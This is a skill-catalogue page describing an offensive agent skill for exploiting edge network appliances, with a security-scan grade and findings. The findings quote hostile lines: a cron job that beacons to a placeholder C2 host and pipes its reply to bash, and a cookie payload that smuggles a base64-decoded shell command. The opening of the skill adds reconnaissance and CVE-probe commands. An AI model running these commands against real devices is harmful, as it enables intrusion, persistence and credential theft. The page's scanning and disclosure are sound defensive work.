Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
There is no command for this one: it runs only inside a plugin, and the catalogue could not identify which plugin ships it. The source is linked below.
Wrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/edge-device-exploitation)<a href="https://agentmods.dev/skills/purpleailab/decepticon/edge-device-exploitation"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/edge-device-exploitation/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/edge-device-exploitation"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/edge-device-exploitation.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00053 | $0.03968 |
| Opus 5 | $0.00026 | $0.01984 |
| Sonnet 5 | $0.00011 | $0.00794 |
| Haiku 4.5 | $0.00005 | $0.00397 |
Grade F, and why
edge-device-exploitation scanned grade F with 4 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Harvests environment variableshighData exfiltration
Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.
# Step 4: Extract credentials from FortiManager DB Downloads and executes remote codehighSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
ssh admin@<TARGET> "echo '*/30 * * * * curl -sk https://<C2>/beacon|bash' >> /etc/cron.d/pan_task" Encoded or obfuscated payloadhighSupply chain
base64 or hex that is decoded and executed hides what actually runs from anyone reading the file.
-H "Cookie: SESSID=../../../../opt/panlogs/tmp/device_telemetry/hour/aaa\`echo ${ENCODED}|base64 -d|bash\`" Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s "https://api.shodan.io/shodan/host/search?key=<SHODAN_KEY>&query=org:<TARGET_ORG>+product:cisco" | jq '.matches[] | {ip:.ip_str, port:.port, product:.product}' How it starts
The opening of the file, as written. The whole thing — 319 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Edge Device Exploitation
Exploits perimeter network appliances — routers, firewalls, VPN concentrators, and management platforms. These devices sit at trust boundaries, run stripped-down OS variants, and are rarely patched. A compromised edge device yields traffic interception, credential harvesting, lateral pivot into the internal network, and persistent access below endpoint detection.
Quick Reference
# Discover edge devices — Shodan
curl -s "https://api.shodan.io/shodan/host/search?key=<SHODAN_KEY>&query=org:<TARGET_ORG>+product:cisco" | jq '.matches[] | {ip:.ip_str, port:.port, product:.product}'
# Nmap service fingerprint on perimeter
nmap -sV -sC -p 443,8443,10443,4443,8080,161 --script=http-title,ssl-cert,snmp-info <TARGET_RANGE> -oA edge_scan
# SNMP community string brute
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt <TARGET>
# SNMP walk full config tree
snmpwalk -v2c -c <COMMUNITY> <TARGET> .1.3.6.1 > snmpwalk_full.txt
# Check Cisco IOS XE web UI (CVE-2023-20198 indicator)
curl -sk "https://<TARGET>/webui/logoutconfirm.html?logon_hash=1" -o cisco_webui_probe.txt
# Check PAN-OS GlobalProtect (CVE-2024-3400 indicator)
curl -sk "https://<TARGET>/global-protect/portal/css/login.css" -w '%{http_code}' -o /dev/null
# Ivanti Connect Secure version check
curl -sk "https://<TARGET>/dana-na/auth/url_default/welcome.cgi" -o ivanti_version.txt
MITRE ATT&CK Mapping
| Technique | ID | Application |
|---|---|---|
| Exploit Public-Facing Application | T1190 | CVE exploitation against web UI / VPN portal |
| External Remote Services | T1133 | Abuse VPN/SSL-VPN/management interfaces post-compromise |
| Data from Configuration Repository | T1602 | Extract running-config, startup-config, SNMP MIBs |
| Network Sniffing | T1040 | Packet capture on compromised device |
| Modify System Image | T1601 | Implant in device firmware/OS image |
1. Identifying Edge Devices
External Reconnaissance
# Shodan bulk search by org
shodan search "org:<TARGET_ORG>" --fields ip_str,port,product,os --separator , > shodan_edge.csv
# Censys for Fortinet devices
curl -s "https://search.censys.io/api/v2/hosts/search" \
-H "Authorization: Basic <CENSYS_KEY>" \
-d '{"q":"services.software.product:FortiOS AND autonomous_system.name:<TARGET_ORG>","per_page":50}' | jq '.result.hits[]'
# Certificate transparency for management hostnames
curl -s "https://crt.sh/?q=%25.<TARGET_DOMAIN>&output=json" | jq -r '.[].name_value' | sort -u | grep -iE 'vpn|fw|gw|edge|palo|forti|pulse|asa'
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 5d ago First seen · 319 lines · 53 tokens per session scan F 146d292ee34d
edge-device-exploitation is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,463 stars, last pushed 9d ago), licensed Apache-2.0. It adds 53 tokens to every session and 3,968 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it F with 4 findings (harvests environment variables, downloads and executes remote code, encoded or obfuscated payload). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
bun-ffi-native-binding
Build high-performance native modules for JavaScript using Bun's FFI (Foreign Function Interface) with Zig or C. Use when optimizing hot paths, integrating system libraries, or requiring native performance for compute-intensive operations.
blucli
BluOS CLI (blu) for discovery, playback, grouping, and volume control of Bluesound and NAD speakers. Use when the user wants to play music, stream audio, control speakers, adjust volume, group or ungroup Bluesound players, search TuneIn radio, or manage multi-room streaming setups.
pylabrobot
Vendor-agnostic lab automation framework. Use when controlling multiple equipment types (Hamilton, Tecan, Opentrons, plate readers, pumps) or needing unified programming across different vendors. Best for complex workflows, multi-vendor setups, simulation. For Opentrons-only protocols with official API…
interactive-dashboard
Interactive web dashboards: stock trackers, sector heatmaps, portfolio monitors — served via preview URL.
onboarding
First-time user onboarding to set up investment profile, watchlists, portfolio, and preferences.
deepep-to-cam-converter
A code migration skill for replacing DeepEP communication operations with CAM operations when moving mixture-of-experts code from CUDA/NCCL to Ascend NPUs.